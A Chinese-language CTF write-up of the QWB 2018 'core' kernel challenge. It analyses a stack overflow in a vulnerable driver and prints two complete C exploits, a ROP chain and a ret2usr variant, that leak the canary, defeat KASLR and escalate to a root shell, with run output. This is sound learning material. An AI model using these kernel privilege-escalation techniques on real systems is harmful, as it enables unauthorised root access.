0%

my first kernel pwn

core 复现

文件如下:

  • bzImage:压缩的内核映像
  • core.cpio:文件系统映像
  • start.sh:用于启动 kernel 的 shell 的脚本
  • vmlinux:静态链接的可执行文件格式的 Linux 内核

如果没有 vmlinux,就需要使用 extract-vmlinux 进行提取,不过我更喜欢用 vmlinux-to-elf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* vmlinux-to-elf [core.cpio] [vmlinux] */
➜ give_to_player vmlinux-to-elf core.cpio vmlinux
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompressed binary)
[+] Version string: Linux version 4.15.8 (simple@vps-simple) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC)) #20 SMP Fri Mar 23 21:12:32 CST 2018
[+] Guessed architecture: x86_64 successfully in 4.66 seconds
[+] Found kallsyms_token_table at file offset 0x016b5320
[+] Found kallsyms_token_index at file offset 0x016b5660
[+] Found kallsyms_markers at file offset 0x016b4de0
[+] Found kallsyms_names at file offset 0x01635568
[+] Found kallsyms_num_syms at file offset 0x01635560
[i] Negative offsets overall: 99.9953 %
[i] Null addresses overall: 0.0046729 %
[+] Found kallsyms_offsets at file offset 0x0160b898
[+] Successfully wrote the new ELF kernel to vmlinux
  • 提取出来的 vmlinux 文件没有原版的好用
  • 但是在搜索 gadget 时,尽量使用提取出来的 vmlinux,防止两个 vmlinux 不一样

然后使用 Ropper 来寻找 gadget:

1
2
3
4
5
➜  give_to_player time ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./vmlinux --nocolor > g1 77.22s user 27.66s system 118% cpu 1:28.72 total

看一下启动脚本 start.sh:

1
2
3
4
5
6
7
8
9
➜  give_to_player cat start.sh         
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
  • 内核开启了 kaslr 保护

尝试启动时我遇见了问题:

  • 按照 wiki 上的提示,把 start.sh 中的 64M 改为 128M,但是还是无效
  • 于是我改为 256M,成功了
1
2
3
4
5
6
7
8
[    0.023472] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ ls
bin etc lib proc sys vmlinux

解压 core.cpio:

1
2
3
4
5
➜  core gunzip ./core.cpio.gz 
➜ core cpio -idm < ./core.cpio
➜ core ls
bin etc init lib64 proc sbin tmp vmlinux
core.ko gen_cpio.sh lib linuxrc root sys usr
  • 发现除了常规的文件目录外,还有个 gen_cpio.sh
1
2
3
4
➜  core cat gen_cpio.sh 
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
  • 这是一个打包的脚本(shell脚本有点看不懂,还要多多学习)

看一下 core.cpio->init:(获取重要信息)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  core cat init               
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms // 把kallsyms的内容保存到了/tmp/kallsyms中,那么我们就能从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的函数的地址了
echo 1 > /proc/sys/kernel/kptr_restrict // 把kptr_restrict设为'1',这样就不能通过/proc/kallsyms查看函数地址了(但上一行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了)
echo 1 > /proc/sys/kernel/dmesg_restrict // 把dmesg_restrict设为'1',这样就不能通过dmesg查看kernel的信息了
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f & // 设置定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • /proc/kallsyms 其实是内核符号表,拥有内核符号的地址

重新打包后,我们着重分析一下 core.ko 驱动文件:

1
2
3
4
5
6
➜  core checksec core.ko 
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

64位,dynamically,开了carnay,开了NX

这些函数就是驱动函数,也被称为 ioctl 函数:

  • ioctl 是设备驱动程序中对设备的 I/O 通道进行管理的函数
  • ioctl 函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对 ioctl 的支持,用户就可以在用户程序中使用 ioctl 函数控制设备的 I/O 通道
  • 在驱动程序中实现的 ioctl 函数体内,实际上是有一个 switch{case} 结构,每一个 case 对应一个命令码,做出一些相应的操作,怎么实现这些操作,这是由每一个程序员自己控制的,因为设备都是特定的

驱动函数是 kernel 中容易出问题的点,接下来就看看这些函数:

  • init_module:注册了 /proc/core
1
2
3
4
5
void __fastcall init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk("16core: created /proc/core entry\n");
}
  • exit_core:删除 /proc/core
1
2
3
4
5
void __fastcall exit_core()
{
if ( core_proc )
remove_proc_entry("core");
}
  • core_ioctl:定义了三条命令,分别调用 core_read(),core_copy_func() 和设置全局变量 off
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall core_ioctl(__int64 a1, int choice, __int64 a3)
{
switch ( choice )
{
case 1719109787: // 0x6677889B
core_read((char *)a3);
break;
case 1719109788: // 0x6677889C
printk("16core: %d\n", a3);
off = a3;
break;
case 1719109786: // 0x6677889A
printk("16core: called core_copy\n");
core_copy_func(a3);
break;
}
}
  • core_read:从内核空间 from[off] 拷贝 64 字节到用户空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall core_read(char *a1)
{
_DWORD *p; // rdi
__int64 i; // rcx
char from[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 canary; // [rsp+40h] [rbp-10h]

canary = __readgsqword(0x28u);
printk("16core: called core_read\n");
printk("16%d %p\n", off, a1);
p = from;
for ( i = 16LL; i; --i ) // 置空64(16*4)位
*p++ = 0;
strcpy(from, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(a1, &from[off], 64LL) )
__asm { swapgs } // 调用swapgs命令,在gs寄存器的内核与用户态值之间切换,为离开内核做准备
}
  • core_write:向全局变量 name 上写
1
2
3
4
5
6
void __fastcall core_write(__int64 a1, __int64 from, unsigned __int64 len)
{
printk(&str1);
if ( len > 0x800 || copy_from_user(&name, from, len) )
printk(&str2);
}
  • core_copy_func:从全局变量 name 中拷贝数据到局部变量中
1
2
3
4
5
6
7
8
9
10
11
void __fastcall core_copy_func(__int64 a1)
{
char v1[80]; // [rsp+0h] [rbp-50h] BYREF

*(_QWORD *)&v1[64] = __readgsqword(0x28u);
printk("16core: called core_writen");
if ( a1 > 63 )
printk("16Detect Overflow");
else
qmemcpy(v1, &name, (unsigned __int16)a1); // 漏洞点:因数组溢出导致的栈溢出
}

这是我的第一个内核题,我全程都是按照 wiki 上的提示做的,所以我会尽可能的复述解题的过程和思路,有些必要的知识也会进行补充

当我们打开这个 kernel 时:

1
2
/ $ whoami
chal

我们是普通用户权限,需要提权拿“flag”,这里先介绍一下权限和提权:

  • 内核会通过进程的 task_struct 结构体中的 cred 指针来索引 cred 结构体,然后根据 cred 的内容来判断一个进程拥有的权限,如果 cred 结构体成员中的 uid-fsgid 都为 0,那一般就会认为进程具有 root 权限
  • 内核提权指的是普通用户可以获取到 root 用户的权限,访问原先受限的资源,这里从两种角度来考虑如何提权
    • 改变自身(Change Self):通过改变自身进程的权限,使其具有 root 权限
      • 直接修改 cred 结构体的内容(需要先定位 cred,然后将其修改)
      • 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred
    • 改变别人(Change Others):通过影响高权限进程的执行,使其完成我们想要的功能
      • 改数据
      • 改代码

具体的过程就不展开了

  • 在本题目的环境中,因为程序有栈溢出漏洞可以控制程序执行流,所以可以通过 ROP 来调用 commit_creds(prepare_kernel_cred(0)) 进行提取
  • 该方式会自动生成一个合法的 cred,并定位当前线程的 task_struct 的位置,然后修改它的 cred 为新的 cred
  • 另外,该方式属于“改变自身”中的“修改 task_struct 结构体”

为了调用 prepare_kernel_cred 首先需要实现 ROP:

  • 通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
  • 通过 core_write() 向 name 写,构造 ropchain
  • 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
  • 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
  • 返回用户态,通过 system(“/bin/sh”) 等起 shell

这又有一个问题,如何在 shell 中使用这些驱动函数呢?在C语言中有专门的接口:

1
ioctl(fd, function_num, var);

使用这个函数的前提是知道 function_num(可以直接在 core_ioctl 的 Switch-Case 中找到它)

接下来介绍利用GDB调试的方法:

  • 使用 gdb ./vmlinux 可以进行调试
  • 虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载
  • .text 段的地址可以通过 /sys/modules/core/section/.text 来查看,查看需要 root 权限,因此为了方便调试,我们再改一下 init
1
2
# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
1
2
3
4
5
0xffffffffc0257000
/ # whoami
root
/ # cat /sys/module/core/sections/.text
0xffffffffc0257000

接下来进行调试:

  • 先使用 start.sh 打开 kernel
  • 然后打开 GDB
1
2
3
4
5
➜  core gdb ./vmlinux   
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...
(No debugging symbols found in ./vmlinux)
  • 使用 add-symbol-file 加载符号,然后就可以利用符号进行断点了
1
2
3
4
5
6
7
pwndbg> add-symbol-file core.ko 0xffffffffc0257000
add symbol table from file "core.ko" at
.text_addr = 0xffffffffc0257000
Reading symbols from core.ko...
(No debugging symbols found in core.ko)
pwndbg> b core_read
Breakpoint 1 at 0xffffffffc0257063
  • 尝试用 GDB 连接 kernel
1
2
3
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
0xffffffff9586e7d2 in ?? ()

最后就来学习学习官方的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
/* <-- 直接ROP --> */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell() /* 后门函数 */
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000; /* 后续说明基地址的计算 */
size_t vmlinux_base = 0;
size_t find_symbols() /* 收集必要信息 */
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* 根据前面的分析,这里读取/tmp/kallsyms相当于读取/proc/kallsyms(内核符号表) */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred) /* 如果都已经读入过了,直接返回 */
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* 读取commit_creds的地址(更新当前进程的cred),计算vmlinux_base */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0; /* 后续说明该偏移的计算 */
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* 读取prepare_kernel_cred的地址(构造一个新的cred),计算vmlinux_base */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0; /* 后续说明该偏移的计算 */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() /* 保存当前寄存器的状态 */
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx) /* 设置off */
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf) /* core_read的外包装 */
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size) /* core_copy_func的外包装 */
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols(); /* 获取相关信息 */
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40); /* 设置全局变量off为'0x40'(为了泄露carnay) */

char buf[0x40] = {0};
core_read(fd, buf); /* 从from[off](内核空间)拷贝64个字节到buf(用户空间) */
size_t canary = ((size_t *)buf)[0]; /* 因为偏移off是0x40,所以直接泄露了canary */
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0}; /* 初始化ROP链 */

int i;
/* 构造ROP链 */
for(i = 0; i < 10; i++)
{
rop[i] = canary;
// rop[0-7]:共64字节(8*8),用于填充内核局部变量
// rop[8]:canary应该在的位置
// rop[9]:rbp的位置
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
/* swapgs:交换GS基址寄存器(准备回到用户态) */
/* popfq:弹出堆栈到EFLAGS寄存器 */
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
/* iretq:返回到用户空间(在执行iretq之前,先执行swapgs指令) */

rop[i++] = (size_t)spawn_shell; // rip(后门函数)

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800); /* 最后还是会调用core_write(可能要看源码) */
core_copy_func(fd, 0xffffffffffff0000 | (0x100)); /* 全局变量name中拷贝数据到内核局部变量中 */

return 0;
}

先介绍几个概念:

  • raw_vmlinux_base:kaslr 加工前的内核加载基址
  • vmlinux_base:kaslr 加工后的内核加载基址

kaslr,类似ASLR,内核基址地址加载随机化

  • 通过泄露内核地址,通过偏移计算出内核基址(如果没有开PIE,就可以直接获取 raw_vmlinux_base)
  • 再计算 kaslr 对内核基址的偏移(offset = vmlinux_base - raw_vmlinux_base)
  • 用 offset 修正其他函数的地址

官方exp选择从“内核符号表”泄露以下两个函数:

  • prepare_kernel_cred:构造一个新的 cred
  • commit_creds:更新当前进程的 cred
  • commit_creds(prepare_kernel_cred(0)):构造一个 cred(0),并把它更新为当前进程的 cred

在主函数中,程序打开了 proc 目录中的某个文件(这个 proc 和 PROC 虚拟文件系统有关),然后调用 ioctl 来执行驱动函数,利用其本身的漏洞泄露 canary,触发 ROP链(就是想方设法构造出“commit_creds(prepare_kernel_cred(0))”,并返回用户空间)

最后看看这几个偏移是怎么计算出来的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/\xe5\xbc\xba\xe7\xbd\x91\xe6\x9d\xaf2018/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
>>> hex(vmlinux.sym['prepare_kernel_cred'] - 0xffffffff81000000)
'0x9cce0'

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[    0.022212] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ whoami
chal
/ $ /tmp/exp
[*]status has been saved.
commit_creds addr: 0xffffffff8b09c8e0
vmlinux_base addr: 0xffffffff8b000000
prepare_kernel_cred addr: 0xffffffff8b09cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x12ce77bc03269b00
[*]copy from user with size: -65280
/ # whoami
root

除了 prepare_kernel_cred,还有其他方式来提权,这里介绍一下 ret2usr:

  • ret2usr 攻击利用了用户空间的进程不能访问内核空间,但内核空间能访问用户空间这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作

以本题为例,exp 分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
/* <-- ret2usr --> */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void get_shell(void){
system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

void get_root()
{
/* 注意:"prepare_kernel_cred"和"commit_creds"都是地址,需要用函数指针执行 */
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* 相当于执行"commit_creds(prepare_kernel_cred(0));" */
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main(void)
{
find_symbols();
size_t offset = vmlinux_base - raw_vmlinux_base;
save_status();

int fd = open("/proc/core",O_RDWR);
set_off(fd, 0x40);
size_t buf[0x40/8];
core_read(fd, buf);
size_t canary = buf[0];
printf("[*]canary : %p\n", canary);

size_t rop[0x30] = {0};
rop[8] = canary ;
rop[9] = 0;
rop[10] = (size_t)get_root;
rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[12] = 0;
rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[14] = (size_t)get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = user_sp;
rop[18] = user_ss;

puts("[*] DEBUG: ");
getchar();
write(fd, rop, 0x30 * 8);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

前面的过程都相同,但 ROP 链的构造有所不同

  • 直接ROP:
    • 把 prepare_kernel_cred 和 commit_creds 拆散,放到 ROP 链中执行
  • ret2usr:
    • 直接返回到用户空间构造的 commit_creds(prepare_kernel_cred(0))(通过函数指针实现)来提权
    • 虽然这两个函数位于内核空间,但此时我们是 ring 0 特权,因此可以正常运行
    • 之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system("/bin/sh")

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[    0.021763] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ whoami
chal
/ $ /tmp/exp2
commit_creds addr: 0xffffffffaea9c8e0
vmlinux_base addr: 0xffffffffaea00000
prepare_kernel_cred addr: 0xffffffffaea9cce0
[*]status has been saved.
[*]set off to 64
[*]read to buf.
[*]canary : 0xedec5afb6b0a1800
[*] DEBUG:

[*]copy from user with size: -65280
/ # whoami
root

小结:

这是我的第一个 kernel pwn,刚刚进入 kernel 感觉有点迷茫,不知道该获取什么信息,修改什么数据,完成此题后我的思路清晰了一点:

  • 驱动函数是 kernel 中容易出问题的点,可以用C语言中的 ioctl 来执行驱动函数
  • /proc/kallsyms 是内核符号表,拥有内核符号的地址,需要收集此信息
  • kaslr,类似ASLR,内核基址地址加载随机化
  • 使用 commit_creds(prepare_kernel_cred(0)) 进行提权(可以放入ROP链中,也可以通过函数指针执行这个整体)

踩到的坑:

  • start.sh 中给的内存太小,导致 kernel 跑不起来
  • 题目自带的 vmlinux 和 core.cpio 中的 vmlinux 不一样,导致 gadget 出问题